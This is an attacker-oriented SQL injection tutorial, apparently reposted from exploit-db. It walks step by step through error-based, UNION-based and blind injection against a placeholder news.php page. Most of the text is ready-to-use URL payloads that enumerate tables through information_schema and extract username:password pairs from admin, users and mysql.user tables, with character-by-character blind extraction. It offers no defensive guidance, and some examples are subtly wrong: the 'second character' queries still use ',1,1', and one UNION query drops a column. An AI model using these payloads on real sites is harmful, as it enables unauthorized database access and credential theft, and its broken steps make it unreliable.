SQL Injection

Tutorial taken from exploit-db. Source: https://www.exploit-db.com/papers/13045

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What is SQL injection?

It's one of the most common vulnerability in web applications today. It allows attacker to execute database query in URL and gain access to some confidential information etc...(in shortly).

1.SQL Injection (classic or error based or whatever you call it)

2.Blind SQL Injection (the harder part)

Error Based SQL Injection

1) Check for vulnerability

Let's say that we have some site like this

http://server/news.php?id=5

Now to test if is vulnerable we add to the end of URL ' (quote), and that would be

http://server/news.php?id=5'

so if we get some error like the one below, that means is vulnerable to SQL injection

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc...

2) Find the number of columns

To find number of columns we use statement ORDER BY (tells database how to order the result) so how to use it? Well just increment the number until we get an error. As you can see below that means that the table has 3 columns, because we got an error on 4.

http://server/news.php?id=5 order by 1/* <-- no error

http://server/news.php?id=5 order by 2/* <-- no error

http://server/news.php?id=5 order by 3/* <-- no error

http://server/news.php?id=5 order by 4/* <-- error (we get message like this Unknown column '4' in 'order clause' or something like that)

3) Check for UNION Function

With union we can select more data in one SQL statement. We already found that number of columns are 3 from step 2. Therefore, we can try the following:

http://server/news.php?id=5 union all select 1,2,3/*

If we see some numbers on screen, i.e 1 or 2 or 3 then the UNION works.

4) Check for MySQL version

http://server/news.php?id=5 union all select 1,2,3/*

# NOTE
# if /* not working or you get some error, then try -- 
# it's a comment and it's important for our query to work properly.

Let say that we have number 2 on the screen, now to check for version we replace the number 2 with @@version or version() and get something like 4.1.33-log or 5.0.45 or similar.

it should look like this:

http://server/news.php?id=5 union all select 1,@@version,3/*

if you get an error like the one below, you can use the convert() function or thehex() and unhex() functions.

union + illegal mix of collations (IMPLICIT + COERCIBLE) ...

Using the convert() function:

http://server/news.php?id=5 union all select 1,convert(@@version using latin1),3/*

Using the hex() and unhex() functions.

http://server/news.php?id=5 union all select 1,unhex(hex(@@version)),3/*

5) Getting Table and Column Name

MySQL version is < 5

If the MySQL version is < 5 (i.e 4.1.33, 4.1.12...), we must guess table and column name in most cases.

Common table names are: user/s, admin/s, member/s ...

Common column names are: username, user, usr, user_name, password, pass, passwd, pwd etc...

http://server/news.php?id=5 union all select 1,2,3 from admin/*

If you see number 2 on the screen like before, then that's good and we know that table admin exists...

To check column names.

http://server/news.php?id=5 union all select 1,username,3 from admin/* 
 
# if you get an error, then try the other column name

Now to check if column password exists

http://server/news.php?id=5 union all select 1,password,3 from admin/* 

# if you get an error, then try the other column name

Now we must complete query to look nice and for that we can use concat() function (it joins strings)

http://server/news.php?id=5 union all select 1,concat(username,0x3a,password),3 from admin/*

Note the 0x3a, its hex value for : (colon). There is another way for that, char(58), ASCII value for : 

http://server/news.php?id=5 union all select 1,concat(username,char(58),password),3 from admin/*

if you can't guess the right table name, you can always try mysql.user (default). It has user and password columns, so an example would be:

http://server/news.php?id=5 union all select 1,concat(user,0x3a,password),3 from mysql.user/*

MySQL version > 5

For this we need information_schema. It holds all tables and columns in database. To get tables we use table_name and information_schema.tables

Example:

http://server/news.php?id=5 union all select 1,table_name,3 from information_schema.tables/*

Here we replace the number 2 with table_name to get the first table from information_schema.tables displayed on the screen. Now we must add LIMIT to the end of query to list out all tables.

http://server/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 0,1/*

Notice that we put 0,1 (get 1 result starting from the 0th) now to view the second table, we change limit 0,1 to limit 1,1 and the second table is displayed.

http://server/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 1,1/*

For third table we put limit 2,1

http://server/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 2,1/*

Keep incrementing until you get some useful like db_admin, poll_user, auth, auth_user etc...

To get the column names

To get the column names, the method is the same. Here we use column_name and information_schema.columns

The method is same as above so example would be:

http://server/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 0,1/*

For the second one (we change limit 0,1 to limit 1,1)

http://server/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 1,1/*

The second column is displayed, so keep incrementing until you get something like username,user,login, password, pass, passwd etc...

If you want to display column names for a specific table use this query. (where clause)

Let's say that we found table users:

http://server/news.php?id=5 union all select 1,column_name,3 from information_schema.columns where table_name='users'/*

Now we get displayed column name in table users. Just using LIMIT we can list all columns in table users. Note that this won't work if the magic quotes is ON.

Let's say that we found columns user, pass and email. To complete the query and to put them all together we can use concat() as described it earlier.

http://server/news.php?id=5 union all select 1,concat(user,0x3a,pass,0x3a,email) from users/*

What we get here is user:pass:email from table users. Example: admin : 7576f3a00f6de47b0c72c5baf2d505b0 : admin@example.com

Blind SQL Injection

Blind injection is a little more complicated the classic injection but it can be done.

We will be using the following for our example.

http://server/news.php?id=5

When we execute this, we see some page and articles on that page, pictures etc...then when we want to test it for blind SQL injection attack.

http://server/news.php?id=5 and 1=1 <--- this is always true

And the page loads normally, that's ok.

Now the real test:

http://server/news.php?id=5 and 1=2 <--- this is false

so if some text, picture or some content is missing on returned page then that site is vulnerable to blind SQL injection.

1) Get the MySQL version

To get the version in blind attack we use substring

http://server/news.php?id=5 and substring(@@version,1,1)=4

This should return TRUE if the version of MySQL is 4. Replace 4 with 5, and if query return TRUE then the version is 5. Example:

http://server/news.php?id=5 and substring(@@version,1,1)=5

2) Test if subselect works

when select don't work then we use subselect

Example:

http://server/news.php?id=5 and (select 1)=1

if page loads normally then subselect works. Then we are going to see if we have access to mysql.user

Example:

http://server/news.php?id=5 and (select 1 from mysql.user limit 0,1)=1

if page loads normally we have access to mysql.user and then later we can pull some password using load_file() function and OUTFILE.

3). Check table and column names

This is part when guessing is the best friend :)

Example:

http://server/news.php?id=5 and (select 1 from users limit 0,1)=1 
 
# With limit 0,1 our query here returns 1 row of data, cause subselect returns only 1 row, this is very important.

If the page loads normally without content missing, the table users exits. if you get FALSE (some article missing), just change table name until you guess the right one.

Let's say that we have found that table name is users, now what we need is column name. Just like with table name, we start guessing and using the common names for columns.

Example:

http://server/news.php?id=5 and (select substring(concat(1,password),1,1) from users limit 0,1)=1

if the page loads normally we know that column name is password (if we get FALSE, then try other common names or just guess)

Here we merge 1 with the column password, then substring returns the first character (,1,1)

4) Pull data from database

We found table users and columns username, password so we gonna pull characters from that.

http://server/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>80

The above command would pull the first character from the first user in the table users.

substring here returns first character and 1 character in length. ascii() converts that 1 character into ascii value and then compare it with simbol greater then > .

so if the ascii char greater then 80, the page loads normally. (TRUE)

we keep trying until we get false.

http://server/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>95

we get TRUE, keep incrementing

http://server/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>98

TRUE again, higher

http://server/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99

FALSE!!!

so the first character in username is char(99). Using the ascii converter we know that char(99) is letter 'c'.

then let's check the second character.

http://server/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>99

Note that i'm changed ,1,1 to ,2,1 to get the second character. (now it returns the second character, 1 character in lenght)

http://server/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99

TRUE, the page loads normally, higher.

http://server/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>107

FALSE, lower number.

http://server/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>104

TRUE, higher.

http://server/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>105

FALSE!!!

we know that the second character is char(105) and that is 'i'. We have 'ci' so far, so keep incrementing until you get the end. (when >0 returns false we know that we have reach the end).

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